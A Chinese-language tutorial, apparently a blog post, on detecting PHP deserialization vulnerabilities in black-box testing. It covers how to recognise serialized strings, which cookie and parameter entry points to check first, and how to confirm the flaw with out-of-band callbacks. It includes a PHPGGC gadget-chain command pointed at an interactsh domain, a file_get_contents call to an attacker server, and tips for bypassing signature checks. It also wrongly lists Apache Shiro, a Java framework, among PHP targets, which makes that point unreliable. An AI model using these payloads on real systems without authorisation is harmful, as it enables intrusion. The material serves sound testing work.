php反序列化漏洞检测核心在于“找入口、识特征、验触发”,需聚焦用户输入是否直喂unserialize(),通过结构前缀(o:/a:/s:)、编码特征(base64/url编码含%00)识别序列化数据,优先排查cookie、post参数等高危接收点,并用dns外带等方式轻量验证触发。

PHP反序列化漏洞检测核心在于“找入口、识特征、验触发”,不依赖源码也能在黑盒场景中高效定位。关键不是盲目扫参数,而是聚焦服务端是否将用户输入直接喂给 unserialize(),并观察其行为反馈。
识别典型序列化数据特征
反序列化入口往往藏在 Cookie、GET/POST 参数、HTTP头或文件内容中。重点检查值是否符合 PHP 序列化字符串格式:
-
看结构前缀:常见开头如
O:数字:(对象)、a:数字:(数组)、s:数字:(字符串),例如O:4:"User":1:{s:4:"name";s:5:"admin";} -
看特殊符号组合:成对出现的
{和}、分号结尾、冒号分隔的类型+长度+值结构 -
注意编码干扰:Base64 编码的值(如
YToxOntzOjQ6Im5hbWUiO3M6NToiYWRtaW4iO30=)解码后可能是有效序列化串;URL 编码中若含%00(对应\x00),很可能是 protected/private 属性标识
定位高危接收点
并非所有带序列化格式的参数都可利用,需判断是否被实际反序列化。优先排查以下位置:
- Cookie 中的 rememberMe、PHPSESSID、user_data、session_data 等字段,尤其 Shiro 或自研鉴权组件常在此处反序列化
- POST 请求体中的 JSON 键名疑似为类名或含
data/payload/obj的字段 -
文件上传后的处理逻辑,比如 Phar 文件(
phar://xxx.jpg/test.txt)可能被当作普通文件路径传入unserialize(file_get_contents()) - 日志回显、调试接口、错误页面返回内容中意外泄露的序列化片段,说明系统内部存在该数据流
轻量级触发验证(OOB 盲测)
避免直接执行命令,用无害外带方式确认反序列化是否真实发生:
- 构造一个调用
__destruct()或__wakeup()的简单 payload,让其发起 DNS 请求,例如使用PHPGGC --fast-destruct phar GadgetChain --domain your-collab-domain.interactsh.com - 若目标站向你的协作平台发出了 DNS 查询,即证明反序列化流程走通,且 gadget 链可用
- 也可尝试触发
file_get_contents("http://your-server/log")类操作,通过服务端出网行为间接验证
规避常见误报陷阱
很多看似像序列化的字符串其实只是前端拼接或日志占位符,并未进入 unserialize():
- 参数值始终固定不变、无论怎么改都无响应变化 → 很可能只是静态展示
- 修改长度标记(如把
s:5:"admin"改成s:4:"admin")导致整个请求失败或 500 → 说明解析器真正在解析该字符串 - 遇到签名校验(如
data|sign结构),不要硬爆破,先尝试覆盖签名为空或重放旧值,观察是否跳过校验逻辑
php免费学习视频:立即使用
踏上前端学习之旅,开启通往精通之路!从前端基础到项目实战,循序渐进,一步一个脚印,迈向巅峰!











